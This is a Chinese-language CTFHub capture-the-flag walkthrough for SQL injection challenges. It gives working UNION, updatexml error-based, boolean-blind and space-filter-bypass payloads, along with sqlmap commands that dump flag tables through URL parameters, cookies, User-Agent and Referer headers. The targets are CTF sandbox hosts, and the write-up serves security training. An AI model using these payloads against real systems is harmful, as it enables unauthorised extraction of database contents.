CTFHub---SQL注入

CTFHub—SQL注入

image-20240728102107654

整数型注入

1.输入1发现有两个回显,那么直接查库

?id=-1 union select database(),2

image-20240727221128674

2.查表

?id=-1 union select (select group_concat(table_name) from information_schema.tables where table_schema="sqli") ,2

image-20240727221254494

3.查flag表的字段名

?id=-1 union select (select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag") ,2

image-20240727221342806

4.查表数据

http://challenge-c8d48c7b74970ffb.sandbox.ctfhub.com:10800/?id=-1 union select (select flag from flag) ,2

image-20240727221444751

字符型注入

1.输入1后出现两个回显点

image-20240727221652996

2.根据提示他是单引号闭合的所以闭合为

?id=1' --+

3.查看数据库

?id=-1' union select database(),2 --+

image-20240727221859779

2.查看sqli库中表名

?id=-1' union select (select group_concat(table_name) from information_schema.tables where table_schema="sqli"),2 --+

image-20240727221956113

3.查看你flag表下字段

?id=-1' union select (select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag"),2 --+

image-20240727222038996

4.查看表数据

?id=-1' union select (select flag from flag),2 --+

image-20240727222119368

报错注入

通过updatexml()函数在报错信息中查出想要的数据

1.输入1发现有报错提示

image-20240727222350307

2.查库

?id=1 and updatexml(1,concat(0x7e,database()),3)

image-20240727222540962

2.查表

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="sqli")),3)

image-20240727222710083

4.查flag列名

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag")),3)

image-20240727222759110

5.查flag数据

?id=1 and updatexml(1,concat(0x7e,(select flag from flag)),3)

image-20240727222840687

布尔盲注

通过二分法判断每个字符

1.查看你数据库长度

?id=1 and length(database())=4

2.判断数据库的每个字符

?id=1 and ascii(substr(database(),1,1))=115  //ASCII码值对应的字母为s
?id=1 and ascii(substr(database(),2,1))=113 //........q
?id=1 and ascii(substr(database(),2,1))=113

image-20240727224029481

布尔盲注手工注入太过麻烦,最好用工具。所以还是用工具sqlmap吧。

1.查库

python3 sqlmap.py -u "http://challenge-1c074671433e1b16.sandbox.ctfhub.com:10800/?id=1"  --batch --dbs

image-20240727224255969

2.查表

python3 sqlmap.py -u "http://challenge-1c074671433e1b16.sandbox.ctfhub.com:10800/?id=1"  --batch -D sqli --tables

image-20240727230239726

3.查flag数据

python3 sqlmap.py -u "http://challenge-1c074671433e1b16.sandbox.ctfhub.com:10800/?id=1"  --batch -D sqli -T flag --dump

image-20240727231927999

时间盲注

1.查看当前库

python3 sqlmap.py -u "http://challenge-bd44dcf9ec821756.sandbox.ctfhub.com:10800/?id=1"   --current-db

image-20240727233842251

2.查看表

python3 sqlmap.py -u "http://challenge-bd44dcf9ec821756.sandbox.ctfhub.com:10800/?id=1"   -D sqli --tables --batch

image-20240727234121026

3.查看flag表数据

python3 sqlmap.py -u "http://challenge-bd44dcf9ec821756.sandbox.ctfhub.com:10800/?id=1"   -D sqli -T flag --dump

image-20240727234601834

Mysql结构

python3 sqlmap.py -u "http://challenge-387e083e191f8a7c.sandbox.ctfhub.com:10800?id=1"   -D sqli --tables

image-20240727233221533

查看所有表数据

python3 sqlmap.py -u "http://challenge-387e083e191f8a7c.sandbox.ctfhub.com:10800?id=1"   -D sqli --dump

image-20240727233303665

过滤空格

此题把空格过滤成+号,拦截空格和加号,所以可用%a0,/**/,/!**/绕过

image-20240728094107523

1.尝试绕过

?id=1/**/union/**/select/**/1,2  //可以绕过

2.查数据库

?id=-1/**/union/**/select/**/1,database()

image-20240728093813963

3.查表名

?id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="sqli"

image-20240728094011742

4.查列名

?id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="sqli"/**/and/**/table_name="nrnbcjdtuc"

image-20240728094426225

5.查nrnbcjdtuc中 jdzpbfrxgo的数据

/?id=-1/**/union/**/select/**/1,jdzpbfrxgo/**/from/**/nrnbcjdtuc

image-20240728094725671

Cookie注入

思路:通过抓包在cookie注入

1.抓包并在注入点后面加*号,然后保存到文本文件中,通过sqlmap注入

image-20240728095422342

2.查当前库

python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch --current-db

image-20240728095409236

3.查看表名

python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D sqli --tables

image-20240728095602450

4.查看pggcuasonz表中数据

python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D sqli -T pggcuasonz --dump

image-20240728095712549

UA注入

根据提示注入点在user-agent

image-20240728095826647

将请求包保存到1.txt

image-20240728101004365

查库

python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch --current-db

image-20240728100948472

看表

python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D sqli --tables

image-20240728101059755

查数据

python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D sqli -T mojphxupzd --dump

image-20240728101139337

PS:如果不行在后面加上 --level=3。因为level>=3的时候就会测试HTTP User-Agent/Referer头。

Refer注入

抓包发现没有referer,我自己加上

image-20240728101607083

image-20240728101657289

1.在referer后面加上*表示注入点将请求包保存在1.txt中

image-20240728101803724

2.查库

python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -dbs

image-20240728101857723

3.查表

python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D sqli --tables

image-20240728101940818

4.查表中数据

python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D sqli -T hknaffzuri --dump

image-20240728102023286

  • 8
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值